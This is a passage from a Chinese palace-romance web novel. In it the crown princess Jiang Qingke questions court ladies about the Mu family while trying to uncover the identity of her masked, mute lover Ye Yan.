“你亲手雕的?”江箐珂问。 夜颜颔首。 “做了多久?” 夜颜伸手比了两次五,是十天的意思。 江箐珂爱不释手地摆弄着,唇角不自觉地上扬,夸赞了一句。 “手艺不错。” 看着手中雕工精美的木簪子,江箐珂想到了太傅白隐。 白隐的木工极好。 思及至此,江箐珂忽然问夜颜。 “你的嗓子,就真的治不好了吗?” 夜颜点了下头。 “那你要是遇到危险时怎么办?” 江箐珂目光关切地问他,“比如,被人刺伤摔倒在哪里无人发现,又或者说被大火所困?” 夜颜在折册子上写下了回答。 【靠自己,也靠命。】 这话看得让人五味杂陈。 江箐珂又问:“当初毒哑你的人,可还活着?” 夜颜颔首。 江箐珂信誓旦旦:“我背后有五十万大军,是谁告诉我,本宫可以替你报仇。” 面具下传来几声较重的气息,应是夜颜在笑。 他摇了摇头,提笔又写:【这仇,在下要亲自报。】 垂眸摆弄着那枚黑檀木簪子,江箐珂想了想,又抛出一个问题。 “穆汐姑娘也是哑人,你们是一起被毒哑的吧?” 第36章 不管你是谁 穆家兄妹二人都在一个屋檐下生活。 两人同吃同住,一起入宫做伴读,又一起出宫回府。 所以,一个被毒哑,另一个同时被毒哑的可能性自然很大。 而狠心把穆汐毒哑之人,想必也是与穆家有深仇大恨的,又怎会放过穆家的嫡长子。 江箐珂缓缓掀眸,想从夜颜的反应中寻出蛛丝马迹,来确认她心中的猜测。 空气在此刻静默。 虽然她与夜颜相处时,一直都是这般安静的调调。 可当她的问题脱口而出时,周遭的一切仿若都因夜颜的气场而在瞬间凝聚,连带着空气都有了重量,让氛围变得凝重起来。 夜颜定定地看了江箐珂片刻,低头提笔,却是换了个话题。 【西延的月色,跟这里有何不同?】 明显不想回答。 可他越是这样,江箐珂越笃定自己的猜测是对的。 她不以为然地笑了笑,偏头回想,一下子又陷在了往事之中。 “很不一样。” “这宫里的月亮,是被圈在四角天空里的。” “而西延的月亮则是浮在连绵无际的山峦之上,悬在广袤无垠的天地之间,无拘无束,是西延深夜里的唯一主角,静谧唯美,大气磅礴。” “尤其站在高高的城墙之上,眺望八万顷江山时,景色更是一绝。” 【可是像那日我们在城墙上看到的一样?】 “比那个要美。” “有机会,本宫带你去西延瞧瞧。” 夜颜静静地看着她。 没点头,也没摇头,更没写字。 【太子妃可打过仗?】 夜颜又换了个话题问她。 “当然,有次敌国分多支队伍攻城,我跟随兄长江止率领一队三万人的兵马......” 漫漫长夜,没有帐内的旖旎缱绻,江箐珂只是与夜颜坐在廊庑下,沐着月光,讲着她少时在西延的那些往事。 她也不记得讲了多久,只记得讲着讲着,就讲到了夜颜的怀里。 江箐珂戴上了眼罩,夜颜摘下了面具。 整个凤鸾轩里,就只有他们两个人。 夜颜抱着她,一起坐在那把藤椅里。 身上盖着夜颜那件轻薄的外袍,鼻腔里满满的都是他身上的味道。 夜颜的怀抱暖暖的,让江箐珂想起了儿时母亲哄她入睡的感觉,而那是早已被流年岁月冲淡且遗忘的温度。 明明困得很,不剩几丝清明,江箐珂还不忘强撑着要挟夜颜。 她喃喃细语,语调柔得好像夏夜的轻风,可蛮横霸道的口吻却是十足的强。 “我这个人占有欲特别强,还一根筋,特别不喜欢跟别人用我用过的东西。” “所以……你记住了,以后你就是我江箐珂的人了。” “不管以前你叫什么,在我这里,你就是夜颜。” “从今往后,你不能多看别的女子一眼,每天晚上都要来凤鸾轩陪我。” “若是敢为李玄尧生孩子而去爬其他女人的床,我就再也不理你,还会抽你五十鞭,把你的两个蛋割下来喂狗。” 头顶有一阵湿热的气流扑打在发丝间,夜颜似是笑了几下。 两瓣温软随即压下来,重重吻在了她的额头上。 夜颜拿起江箐珂的手,在她手心先后写下“女”字,后写下“子”字。 江箐珂在夜颜怀里拱了拱,找到一个最舒服的姿势和位置,枕着他肩头,紧紧地环抱着那公狗腰。 在昏昏欲睡前,又迷迷糊糊地补充了两句。 “你别沾沾自喜,误会我喜欢你。” “本宫只是觉得,你身上味道还挺好闻的,换了别人不习惯。” 夜颜抚着她的脸,顺势将她的头往怀里又按了按。 静谧的夜色里,藤制摇椅载着两人,吱呀吱呀地前后晃动着。 久违的岁月静好,江箐珂只觉眼皮越来越沉…… ** 翌日。 江箐珂还在会周公,就被喜晴小心翼翼地给摇醒了。 “太子妃,快醒醒。” 一只眼紧闭,一只眼半睁,江箐珂睡眼惺忪地瞧了喜晴一眼,又闭上眼继续迷糊。 她哑声问道:“什么时辰了?” “才辰时。” 半张脸埋在宣软的被褥间,江箐珂半睡半醒地哼唧了一声。 “你也说才辰时,鸡刚打鸣,叫本宫作甚?” “找抽是不是。” 喜晴委屈。 “奴婢也不想的,可张良娣来给太子妃请安,此时,已经在正堂候着了。” “哎?” 江箐珂睁眼惊叹,“请安?” 喜晴点头。 “太子妃是东宫的女主,晨昏定省,良娣来给太子妃请安,没毛病。” 困意如山,江箐珂不耐烦地摆了摆手。 “免了免了,让良娣回去也补个回笼觉吧。” 转头,人就又睡了过去。 待江箐珂睡够爬起时,张良娣仍在正堂候着,但不见徐才人的影子。 “良娣见过太子妃,太子妃早安。” 张良娣婀娜上前,同江箐珂款款行了一礼。 “张良娣又是何必呢,本宫不是吩咐你回去了吗?”江箐珂回道。 张良娣敛眸浅笑,说起话来轻轻柔柔,婉转如莺啼,端的是京城高门贵女的温婉知礼之姿。 “妾身敬重太子妃,每日来给太子妃请安自是理所当然的事,这是规矩,不能坏。” 江箐珂听出来了。 言外之意,便是徐才人不守规矩,不敬重她。 她觑了张良娣一眼,温婉端庄的一个人,心机倒挺深。 这刚进东宫,就开始不动声色地给别人偷偷使绊子。 两人喝了几盏茶后,那张良娣便说起了京城文昌侯府的一件家事。 大意便是侯府世子在娶妻前,纳了个通房。 待世子夫人入了侯府后,便发现那通房有了身孕。 世子夫人无法容忍通房妾室先于她生下庶长子,便命人给那通房灌了落胎药。 结果通房月份大了,这落胎药喂下去,便是一尸两命。 消息被人传出侯府,就成了京城百姓的茶余饭后。 张良娣讲完后,反问江箐珂:“不知太子妃对此事如何看待?可也认为是那世子夫人犯了善妒的大忌,眼里容不得人,过于残忍?” 江箐珂想了想,梗了下脖子答道:“不应该是那世子的问题吗?做事不知分寸的是世子,把通房肚子睡大的也是他,为何都要指责世子夫人善妒,说那通房不识大体?” “……” 江箐珂的回答,明显出乎张良娣的意料。 她怔怔然地愣了半晌,才敛眸笑了笑。 “太子妃所言极是。” “确实是那侯府家风不正,世子德行不佳。” 张良娣意味深长地慢声言语。 “毕竟,无论是皇亲贵胄,还是世家子弟,家业都是注重长子传承。” “可长子又有嫡庶之别,若是那通房先生下了庶长子,待世子夫人生下嫡子后,以后关系到袭爵之事,便是件说不清理还乱的家务事。” “只可惜,那世子在风流快活前,并未顾及到此事,倒是让世间又多了位可怜的女子。” 江箐珂笑而不语。 张良娣将想说完的话都说出来后,便借口离开了凤鸾轩。 人走后,喜晴不确定道:“这个张良娣好像话里有话呢。” “自信点,把好像去掉。”江箐珂回道。 喜晴歪头又问:“她是在暗示太子妃?” 第37章 穆家兄妹(一) 江箐珂慢条斯理地给喜晴解疑。 “昨夜,是谁被抬到太子的寝殿侍寝了?” 喜晴回:“徐才人。” “侍寝了,会怎么样?” 喜晴顿悟。 “良娣是在暗示太子妃,给徐才人送碗避子汤?” 江箐珂点头:“正解。” 对于这种钩心斗角的龌蹉,喜晴很是不屑,撇嘴摇头又咋舌。 “真没看出来,这张良娣一脸善和之相,竟是这等心机善妒之人。” “明面上是为太子妃着想,实际上,还不是嫉妒徐才人先于她侍寝。” “也不怕她自己侍寝后,太子妃也赐她一碗避子汤?” 江箐珂跟继母张氏和江箐瑶斗了多年,早把内宅里的那些弯弯绕绕看了个清楚。 “良娣左右是失了得宠的先机,便放弃了在本宫之前怀上身孕的念头,想着拉徐才人一脚,再顺便跟我表表忠心罢了。” 喜晴叹:“这京城的贵女真是了不得,夫人和二小姐是明着耍心机,这里的女子却是暗戳戳地背后捅刀子。” 江箐珂走到案桌前坐下,将夹在书卷中的那张纸翻了出来。 笔尖沾了沾墨汁,她依次将白隐和八哥儿的名字从上面划掉。 宣纸之上便仅剩穆珩和异瞳暗卫两个人。 喜晴凑过来瞧了瞧,不解道:“为何将此二人划掉了,太子妃不用再确认了吗?” “不用了。” 江箐珂语气笃定,“白隐和这位八哥儿都不会是。” 喜晴拍小手庆幸。 “那奴婢不用扒那小太监的衣服了。” “不过,太子妃为何如此确定,白太傅和这位八哥儿不是夜颜公子?” 江箐珂看着剩下的两个人,将那纷杂的头绪一点点捋清。 “因为,剩下这两人与夜颜相同之处最多。” 她回想起太池园那晚,与异瞳刺客交手时的各种细节,低声喃喃自语。 “身上都有股子淡淡的药香气,身量、气场、攻击防守的招式,都有些相似。” “还有……” 江箐珂想起剑身相撞时,对方仅用几分力便震得她虎口发麻,险些扔掉手中的剑,和床上夜颜禁锢倾轧她时的那股子牛劲儿一样蛮横强势。 “力气都大得惊人。” “太多的巧合,就不是偶然。” “所以,夜颜应该是那位异瞳刺客。” 虽然江箐珂还不是十分的肯定,但也有六七分的确信。 “再说穆汐的兄长穆珩,穆珩很有可能同她妹妹一样,是个不能说话的哑巴,且他也有不能让人知晓身份的原因。” “神秘、哑人、背有家仇大恨,同为太子殿下做事,又是不像巧合的巧合。” “所以,夜颜又可能是穆珩。” 喜晴歪头思索着。 “这么说来,只要能确定穆珩是不是长有异瞳,便能确定夜颜公子的真实身份了。” 江箐珂颔首。 “正是,最关键的……便是眼睛。” 喜晴言:“奴婢也会多跟宫里人打听下这位穆珩公子的。” 一双美眸眼波轻动,江箐珂却突然想起两个人可以先问问。 “徐才人与张良娣都与穆汐姑娘年龄相仿,同在京城出生长大的人,你说,她二人会不会见过穆家兄妹?” 喜晴眸光也跟着亮了起来。 “对啊,奴婢怎么没想到。” “喜晴。” 江箐珂吩咐道:“咱们好好安排下,今晚请徐才人和张良娣在凤鸾轩用膳。” 喜晴本是去给张良娣、徐才人传口信,回来后却告诉江箐珂徐才人不在她的院子里,而是在后花园陪李玄尧饮茶赏花。 江箐珂听着稀奇。 这昨夜陪睡,今日还陪赏花? 李玄尧何时陪她在后花园饮茶赏过花? 区别对待不要太明显吧。 这就是他李玄尧想要她身后五十万大军当靠山的态度? 江箐珂带着那股气儿,拿着膳后消食当借口,带着喜晴,来到东宫后花园散步。 提着裙裾,踏上游廊,远远便听到观锦亭里传来古琴之音。 能在东宫里抚琴之人,也就那么一位。 江箐珂循着琴声而来,只见亭内不仅有徐才人和李玄尧,还真坐着那位慕容熹。 李玄尧和徐才人相邻而坐,一起看着慕容熹抚琴。 偶尔举盏饮茶,两人对视一眼,徐才人便敛眸浅笑,羞答答地低下头去,不敢再多瞧李玄尧一眼。 那小鸟依人的模样,好不惹人怜爱。 而慕容熹则坐在一旁沉醉抚琴,面具下的红唇浅浅弯着,毫无拈酸吃醋之态,看得江箐珂连连称奇。 是隐藏得好,还是当真大度? 江箐珂只觉这画面和谐得有些违和。 第38章 穆家兄妹(二)(临时加更) 喜晴远远瞧着,也纳起闷儿来。 “太子妃嫁入东宫这么久,别说是同殿下听琴饮酒了,就是膳后散步都不曾有过,这徐才人真是好本事,竟然如此得太子殿下的心。” “果然,男人都喜欢乖巧柔弱不能自理的女子。” 喜晴抬手顺了顺她的空气碎发,突然矫揉造作地学起徐才人的样子。 说起话来,连声音都夹了起来。 “太子妃~,奴婢是不是也该学学徐才人,才能让东宫的侍卫一个个主动扒衣服给奴婢看啊?” 江箐珂听得鸡皮疙瘩都起来了。 她斜眼瞪了喜晴一眼,冷脸凶道:“又嫌舌头长了是不是?好好说话!” 喜晴伸了伸舌头,调皮一笑。 观察思忖间,江箐珂同喜晴也来到了观锦亭。 慕容熹最先瞧见她,起身躬身行礼。 徐才人也跟着起身,盈盈一礼,“臣妾见过太子妃。” 婉转娇柔的一声,听得江箐珂骨头都要酥了,更别提男子了。 与张良娣的端庄大方相比,徐才人确实是娇小玲珑挂的。 她软萌软萌的,说话声也轻得跟蚊子似的,好像一阵风就能把她给吹跑。 江箐珂看向李玄尧的眼神不由多了点别的意思。 都鸡飞蛋打了,还这么花心? “殿下真是好兴致。”江箐珂不请自坐。 李玄尧态度冷淡却又客套地冲她颔了下首,给江箐珂倒了杯茶,推到她的面前。 “今日正好得闲。” 李玄尧冲慕容熹递了个眼神,琴声继续。 然而,无论是琴声,还是亭内的氛围,都因江箐珂的出现而变了味儿。 仿若他们三人自成一个世界,而她却只是强行闯入的外人。 可即使如此,江箐珂就是赖着不走,故意留下来给李玄尧添堵,直到李玄尧再无心情饮茶听曲。 两拨人分开前,江箐珂与徐才人道:“本宫命人备了酒菜,今晚想请徐才人和张良娣来凤鸾轩一聚,一是庆祝你二人嫁入东宫,二是加深下咱们的姐妹感情,毕竟以后都是要一同侍奉太子殿下的。” 徐才人软声应了下来。 ...... 日暮西沉,天色渐暗。 原本不熟且各怀心思的三个人,坐在一张圆桌上用膳,氛围要多尴尬便有多尴尬。 可架不住江箐珂在军营里混出来的做派,学着江止那拉近乎的本事,她一杯接一杯酒地劝,花言巧语一句接一句地说,没多大功夫,一桌上的三人便开始称姐道妹的了。 张良娣摆手婉拒。 她用帕子擦着唇角,脸上已是霞红一片,仿若红透了的大柿子。 “多谢姐姐的盛情,妹妹真的不能再喝了。” 江箐珂看她确实喝得晕乎乎的了,便也不再劝。 再劝,可就问不出话了。 转眼再看徐才人,一双眼睛清明锃亮,丝毫没有醉意,还喝得正是兴头上。 “太子妃姐姐,二姐姐不喝,三妹妹陪你喝,我敬姐姐一杯。” 徐才人端起酒碗,咕嘟咕嘟,先干为敬。 江箐珂暗叹。 羞答答的一个小姑娘,蔫了吧唧的,竟然还挺能喝。 她拿起酒碗,也跟着咕嘟咕嘟地干了。 见喝得差不多了,氛围也有了,江箐珂开始把话题往穆家兄妹上引。 “之前听闻,这个太子妃本是轮不到我当的,而该是前内阁首辅穆大人的女儿当的。” “我倒是对这穆姑娘很是好奇,不知二位妹妹可见过?” 张良娣强撑着精神,点头道:“妹妹自是见过那穆大小姐几次的。” 一旁的徐才人顶着可爱俏丽的小脸,坐在那里,只笑不说。 张良娣看了看她,冲她努了努下巴,“比起我,徐妹妹跟那穆大小姐应该更熟些。” 江箐珂好奇道:“为何?” 张良娣撑着脸,醉眼迷离地看着徐才人,甚有深意地笑道:“这得问徐妹妹了。” 徐才人羞答答地低下头,被酒液浸得水润润的小嘴紧抿着,一张小脸也跟着红了起来。 见她不说话,江箐珂便给自己和徐才人各自倒满了酒,准备再灌她几杯,好撬开她的嘴。 “来,再喝一杯。” 徐才人拿起酒盏,又跟江箐珂碰了一杯。 张良娣见徐才人不开口,便替她道:“穆家出事前,徐妹妹可是与穆姑娘的兄长有过婚约的。” “噗”的一声,江箐珂那喝到一半的酒全都呛了出来。 她咳嗽了好半晌,才顺过气儿来高声问:“你刚刚说什么?” 酒劲儿上头,张良娣撑着头,醉醺醺地说:“徐妹妹本是要嫁给穆珩大公子的,那跟穆汐姑娘自然是要亲近些。” 江箐珂目瞪口呆地看向徐才人,脑子里一片空白。 倒也不是完全空白。 还有两句话。 君夺臣妻? 徐才人跟夜颜有一腿? 喜晴见自家主子懵了,紧忙问那徐才人。 “听说那穆大公子一表人才,也是个俊俏郎君,徐才人快讲讲,到底是怎么个俊俏法儿。” 第39章 何至于 “一表人才?” “俊美无俦?” 徐才人歪了下头,睁着一双单纯清澈的大眼睛,看向喜晴。 她煞是迷惑地问道:“喜晴姑娘是听谁说的?” 喝得有些迷糊的张良娣亦是同问。 “对啊,你听谁说的?” 喜晴被问得哑口无言,怔在那里也搞不清状况了。 江箐珂从适才的冲击中回过神来。 见徐才人和张良娣的反应,还有他们的说辞中,便察觉其中必有隐情。 她紧忙替喜晴打哈哈。 “她是想当然地说句客套话儿而已,在京城也没个熟人,能从谁那儿听说。” “本宫这个小婢女啊,是个花痴,听到个大公子、二公子的,就想打听打听,看哪家郎君俊俏,好信儿着呢。” 张良娣醉眼迷离地点了下头:“原来如此。” 可那徐才人却仍盯着喜晴看,可爱的大眼睛滴溜溜的,也不知在寻思着什么。 江箐珂遂开口问她:“照徐才人刚才的问法,这穆珩公子莫不是长得奇丑无比?” 徐才人视线回移,眉眼含笑地看着江箐珂摇头。 “回太子妃姐姐,妹妹也没见过。” “亲事是因母亲的娘家与穆叔伯家是世交,遂在我儿时,便定的这门亲事。” “我与穆汐因都是女儿家,偶尔还会跟着彼此的母亲一起出去游玩饮茶,见过那么几次,至于那穆大公子,直到穆家出事都未见过面。” “不仅妹妹我没见过,想必京城许多人都没见过穆大公子的真容。” 张良娣点头附和,撑着醉意在那里说道:“穆家的这位公子养得颇为神秘。所以,京城里很多人传言,说这位穆公子定是奇丑无比,见不得人的。” 难怪喜晴那话出口后,两人有这么大的反应。 “那百岁宴什么的,都没人见过吗?” 江箐珂继续追问:“或者穆府的下人就没对外说过这位穆珩公子?” 徐才人摇头。 “百岁宴那么久的事儿,妹妹我就不知道了。” “而穆叔伯为人清正,朴素廉洁,穆府上下本也没多少下人,且穆汐的母亲驭下有道,府上的人都规矩得很,京城里很少有关于穆府家事的流言。” “我还听穆汐说,穆伯父对她兄长管教颇严,大部分的时间都是让他在宫里陪殿下读书,学习治国之策。” 江箐珂仍想再问出点什么。 “除此之外,关于穆珩,再没点别的了吗?” “比如说,穆汐姑娘有没有同你说过她兄长如何俊俏,毕竟是你未来的夫君啊,徐妹妹都不好奇?” 徐才人手捧着羞红的小脸,低下头去,不好意思地摇了摇头。 “太子妃姐姐。” 一声姐姐叫得娇娇柔柔的,听得人心都跟着软了。 “臣妾现在是太子殿下的人了,不好再提别的男子。” “且当时我也还小,对这些事情并不上心,夫君是谁,长什么样儿,一点都不感兴趣。” “只想着今天吃什么,明天穿什么裙子最好看。” 一番话说得滴水不漏,江箐珂再无话柄可抓,继续刨根问底儿。 江箐珂莞尔一笑,调转了话锋。 她试探性地问徐才人:“昨夜,徐妹妹和太子殿下如何啊?” 张良娣听到这话儿,迷离的眼睛登时就清明了几分,坐直了身子,端着大家闺秀的淑女劲儿,同江箐珂一同看向徐才人。 徐才人喝酒脸不红,可一问这事儿,脸就红得不行了。 她低头小声嗫喏道:“什么如何啊?” 江箐珂直白道:“就那个啊,你出嫁前,你娘亲没给你压箱底儿的小册子吗?” 徐才人拿起团扇挡住了半张脸。 “给了,但是,昨晚没用上。” 江箐珂听了了然。 果然。 李玄尧不行。 张良娣压着眼中的那丝幸灾乐祸,问:“为何?” 一说起男女之事,徐才人的头都要低到桌子底下了。 “我太害羞、太紧张了,一想到要脱得光光地被男子看,就抖得厉害。” “殿下看了,似是败了兴致,便......便命我睡下了。” 该问的都问过了,酒又喝了几盏,江箐珂便散了酒宴。 ...... 亥末时分,清风徐徐。 殿外,虫鸣蛙叫此起彼伏,更显凤鸾轩夜里的岑寂静谧。 美人榻上铺了竹席子,甚是清凉。 墨发如瀑铺散开来,江箐珂就躺在上面,一边琢磨事儿,一边等夜颜来。 让她最介怀的还是徐才人和穆珩的婚事。 若夜颜真的是穆珩…… 定是李玄尧因她不肯配合同房生子,才把徐才人纳进东宫,借此机会,成全这对未成的姻缘。 而原本就有婚约的两人,同房生子,自也是天经地义的事。 既成全了两人的好事,李玄尧又能摆脱外界对他不能绵延皇嗣的诸多猜测,何乐而不为。 待李玄尧以后坐稳帝位,不需要他们了,再把这一家人给送走,或者……直接杀了灭口。 也不知夜颜对那徐才人是何等心思? 若真是穆珩,见到与有过婚约的未婚妻子,感情总是不同的吧? 江箐珂越想越觉得自己成了那棒打鸳鸯的恶人。 现在,她倒盼着夜颜不是穆珩。 思绪繁乱,想着想着,江箐珂又想到了困扰她心头已久的事。 从她捅破李玄尧秘密的那日起,她就清楚地知道,自己的后勃颈以后都是悬在刀剑下的。 虽然她身后有五十万江家军当靠山,但保不齐李玄尧日后登基为帝,会动卸磨杀驴的心思。 或者毒死她,或者让她也来个“马上风”。 再或者,让她死在夜颜的剑下…… 总之,只要李玄尧动了杀心,就会有千万种的死法等着她。 当然,这只是最糟的情况。 或许李玄尧的良心,也并没有她想的那么不堪。 但,人总是要做最坏的打算,做最好的准备,就如同父亲行军打仗一样。 江箐珂无意识地叹了口气。 得想个不牵连江家的脱身法子才是。 思来想去,她能想到办法仍是“死”。 置之死地而后生,方为上策。 就是怎么个死法,何时死,死后如何完美脱身,要费些时间来慢慢筹谋。 可日后她若真能成功脱身,夜颜怎么办? 江箐珂突然被自己的这个想法给惊到。 生死面前,还挂念他做甚? 同房几次的交情而已,何至于爱生爱死的。 连爱都不算,顶多是好奇作祟罢了。 在她死遁前,怎么也得弄清夜颜的身份,看到他的脸。 不然,剩下的大半辈子,她得被好奇折磨死。 江箐珂想得出神,连夜颜进殿都未曾察觉,直到他在榻边坐下。 夜很静,他来得也很静。 大手握住她的脚踝,掌心的温烫透过肌肤传来,他拇指指腹来回摩挲,剩下四指则时轻时重地揉捏着她的脚腕。 那是夜颜的言语。 他说不了话,所以大多时都是用动作、触摸来表达。 江箐珂偏头看他,可惜隔着那狐狸面具什么都看不到。 只能看到他玉簪束发,青丝披散,一身轻薄的轻纱夜行衣,袖口、腰身都紧束着,更显他宽肩窄腰、高大颀长的好身量。 他坐姿随性闲适,从内而外散发着一股贵公子才有的松弛矜傲感。 江箐珂躺在那里没动,而是冲着夜颜勾了勾手指头。 夜颜会意,俯身朝她靠近。 第40章 你最好舍得杀我 “这么晚才来?” “是不是去徐才人那里了?” 江箐珂一点也不温柔,抓住夜颜的衣襟,将他朝自己又拉近了几分。 面与面仅一拳之隔,她像个小狗似的,左闻闻,右嗅嗅。 天气太热,龙涎香和药香味都遮不住夜颜那满身的汗味儿。 除此之外,还有股子浓浓的血腥气。 “臭死了。” 推开夜颜,江箐珂撑身坐起,扬声质问。 “怎么不沐身就来?” 夜颜写字回她。 【以证清白。】 江箐珂蹙眉嫌弃,“身上怎么还有股子血腥味儿?” 【替殿下去杀了几个人。】 “每天都出去杀人?” 【也不是。】 “你是他的暗卫?” 夜颜毫不犹豫地颔首承认。 看了眼夜颜身上的夜行衣,玄色如墨,哪里溅了血都看不出来。 江箐珂多少有点膈应,用脚踹了下夜颜。 “还不滚去洗干净?” 浴池里的水也没让喜晴传人换,夜颜毫不嫌弃地就着江箐珂的洗澡水,洗了那一身血腥和汗臭。 待他再坐在江箐珂身前,已是清清爽爽的一个人,而身上则只穿着一条白绸做的长裤。 视线自下向上游移,掠过劲瘦的腹部,然后是不可一手掌控的胸大肌,还有那几道狰狞的伤疤,最后定格在那万年不摘的狐狸面具上。 江箐珂转身侧卧,手撑着头,拍了拍身侧,示意夜颜在美人榻上躺下。 两人虽然是同榻而卧,可中间却隔着那条刺龙鞭。 楚河汉界,却只江箐珂一人可随意横跳。 江箐珂知晓夜颜是让着她。 否则凭他那股蛮劲儿,就是摆条蟒蛇在他们中间,也拦不住他。 狐狸面具是定制的,靠着一条极细的铁链绑在头上,想要摘下,手得绕到夜颜的后脑勺去解那金属链扣。 手还没等碰到那金属扣呢,手腕子就被夜颜给死死扣住了。 偷袭不成,江箐珂便只能伸手抠弄那狐狸眼缝儿。 “这么热的天,你一直戴着也不怕闷出痱子来?” 夜颜对她的废话、套话、气话,向来是不理睬。 江箐珂凑到狐狸面前,睁一只眼,闭一只眼,借着烛光,往那狐狸眼缝里瞧。 黑秋秋的,也看不出什么来。 大手落在她的腰间,又被她揪起甩了回去。 江箐珂撑着头问:“你觉得徐才人如何?” 夜颜与她面对面侧卧着,一手撑头,一手拿着炭笔在折册子上写字。 【那是殿下的徐才人,与在下何关?】 “徐才人与穆珩有过婚约,你若是穆珩,那自然有关系。” 【若在下是穆珩,婚约作废,徐才人也已是殿下的徐才人,又何来的关系?】 【更何况,在下怕子孙袋被割下来喂狗。】 江箐珂抿嘴憋笑。 “那不考虑子孙袋喂狗的事,你觉得是徐才人好,还是张良娣好?” 夜颜想了想,挥笔在折册子写下两行回她的话。 【纵然满城红紫斗芳菲,却是春风十里不如你。】 江箐珂心里对这个回答是满意的。 可他脸上却是一副毫不为之所动的表情。 她偏头看向房梁上的藻井,撇嘴傲气道:“花言巧语,得回你是个哑巴,不然,不知得骗多少女子。” 夜颜捏着她的下巴尖,把江箐珂的脸又给扭了回来,强迫她与自己对视。 狐狸面倏然贴近,他握住江箐珂的手腕,将她的手扣在胸膛之上,然后引导她一路向下探去,而狐狸嘴的尖尖则顶着江箐珂的唇角、唇珠、唇缝讨着亲吻。 心跳凝滞了一瞬,那结实温烫的触感,惹得柔荑素手抖跳瑟缩。 江箐珂猛地抬起一脚,朝夜颜的腹部下狠踹去。 夜颜反应敏捷,伸手稳稳地接住那玉足,连腿带人,直接拖到了他身上,成了江箐珂马奇坐在他身上的姿势。 江箐珂被丁页到了。 她瞧了一眼那处,再掀眸看夜颜时,眉间挤着怒气,挥起拳头就朝那狐狸面具砸去。 “脸都不给看,就想同房?” 两人手脚并用,从美人榻上扭打到地上。 一个发浪,一个发狠。 滚来滚去的,谁都不肯退让。 矮桌上的那盘棋被踹得噼里啪啦地散了一地,折册子也在两人挣扎间被扯裂撕碎。 好好的一句诗,最后只剩“春风十里”四个字。 江箐珂身手尚可,力气却不敌夜颜八分。 硬气到最后,还是被他钳制压在了身下。 大夏天的,两个人都打出了一身汗。 江箐珂额头汗涔涔的,高挺俏丽的鼻尖上也洇出了小水珠,发丝因汗液也粘在脸上,夹在唇缝间。 双手被夜颜按制在头顶,她只能气呼呼地看着那张狐狸脸。 夜颜压在她身上,胸膛上下快速起伏,显然也是打累了。 见江箐珂不再扭打反抗,他腾出一只手,替她挑开了粘在她脸上和唇缝的发丝,又替她擦去了额头和鼻尖上的汗。 似是挑衅,又或者是得胜的炫耀,夜颜挑开她的衣带,像剥粽子似的给她剥了...... 欺霜赛雪,狐狸嗅花。 江箐珂趁其沉醉之时,双腿猛抬,来了个锁脖杀,借着一股巧劲儿,反把夜颜压在了身下。 一声较重的鼻息从面具下传来,夜颜似乎笑了。 他躺在地上,双手瘫在头两侧,表示臣服,示意到此为止。 江箐珂系好衣带起身,顶着潮红的脸,捡起鞭子,捂着胸口,气呼呼地朝床榻而去。 一侧手臂挡住那狐眼缝隙,夜颜躺在原处平缓呼吸。 地面的凉意隔着肌肤渗透到体内,慢慢中和了他体内的那股难耐的燥热。 缓了好一会儿,他起身将殿内的狼藉一一收拾干净,然后熄灯,扯个薄毯,在江箐珂的美人榻上躺下。 殿外的蛙叫虫鸣越叫越响,殿内却是静得落针可闻,甚至听到九重纱幔那侧的辗转难眠。 过了良久,脆生生的一句话从帐内传来。 “要是有一天,李玄尧要杀我灭口,你会杀我吗?” 回应她的依然是无声的沉默。 不否认,就权当是默认。 江箐珂却语气轻松道:“你最好舍得杀我。” 这样,她就没什么不舍得的了,可以毫无留恋地回西延找阿兄。 第41章 竟成了香饽饽 江箐珂快要烦死张良娣了。 本以为离开西延,每天可以睡到日上三竿,不用再被兄长江止早早提拎起来去练兵。 可这张良娣非得要请安。 说了不用来、不用来,可那张良娣左一句规矩,右一句尊卑,还拉着徐才人一起来。 人都来了凤鸾轩,还是俩...... 江箐珂不想起来,也得爬起来。 李玄尧信不着别人,是以,东宫的吃穿用度等一切事务,皆由慕容熹和曹公公两人代管,也用不到江箐珂等人。 这三个女人坐到一起,也只能聊些无关紧要的无聊之事。 徐才人昨夜也不知几时睡的,比江箐珂困得还厉害。 一双眼睛困得迷蒙蒙的,坐在那里直点头。 而张良娣就不一样了。 人逢喜事精神爽,昨夜张良娣被抬去侍寝了。 江箐珂听到此事时,心里暗叹李玄尧那狗太子可真够贼的。 昨夜张良娣醉得走路都打晃儿,他传人家去侍寝,一看就是钻空子,想瞒天过海。 中间就算换个人,替他与张良娣同房,张良娣那个醉态都未必能察觉出来。 江箐珂看着满面春风的张良娣,有一刻受到了良心的谴责。 好想提醒她一句啊。 可为了自己的小命,她还是忍下了。 啧。 心里有秘密却不能说的感觉,真难受。 待到晌午,李玄尧下朝回东宫,曹公公过来传话,让江箐珂去一趟他的书房。 今日的书房,仅李玄尧一人。 江箐珂到时,李玄尧正忙着写折子,便让她随便寻处坐下,喝茶等着。 绕过那个九龙戏珠的薄纱屏风,江箐珂第一次看清书房里的这一角。 家具物件都是上好的梨花木、金丝楠木打造的。 一个矮榻大得能容十个人躺上去还有余,而上面茶桌、棋盘、蒲团、靠枕,样样齐全。 还有一把古琴架在一旁,想来定是那慕容熹的。 茶桌上,镂金香炉内青烟袅袅而出,正是那极品龙涎香。 轻轻一嗅,满鼻子都是夜颜身上的那股香气。 江箐珂低头闻了闻衣袖,衣服也熏上了一点点。 她在矮榻边上坐下,一名哑巴宫婢立马端上一杯荷花茶来。 喝茶时,江箐珂四下打量。 看墙上的字画,看角落里的摆设。 看着看着,目光忽然被一把宝剑所吸引。 她起身过去,将那把剑从架子上取了下来。 可刚拿到手,就跟谁扔了二十几斤重的铁在她手里似的,坠得江箐珂差点闪到腰。 是时,李玄尧绕过屏风而来。 他沉声道:“这是父皇赐的宝剑,此剑名为赤玄,是父皇早些年寻的一位铸剑名匠,用三兽之血打造的。世上仅此一把,重得很,没几个人能挥用此剑。” 李玄尧走过来,帮着江箐珂把那宝剑提起,重新放在了剑架上。 江箐珂甩了甩双手,目光惊叹地看着那宝剑,忍不住点头赞赏。 “确实够重的,摆在这里的气场就不一样,一眼便能瞧出是把好剑。” 李玄尧笑了笑,转身走到矮榻前,甩袍落座。 江箐珂想起正经事来,也跟着坐了下来。 “殿下找我来何事?” 李玄尧眼神示意,曹公公立马将一张烫金邀帖呈递给了江箐珂。 京城是世家大族、达官显贵的聚集之地,每月的寿宴、喜宴、丧礼、及笄及冠之礼不知有多少。 这些场面之事,李玄尧能回绝的,一概都回绝了。 能交到江箐珂手里的帖子,自是不得不去的。 “明日是靖伯公府上两位千金的及笄大礼。” 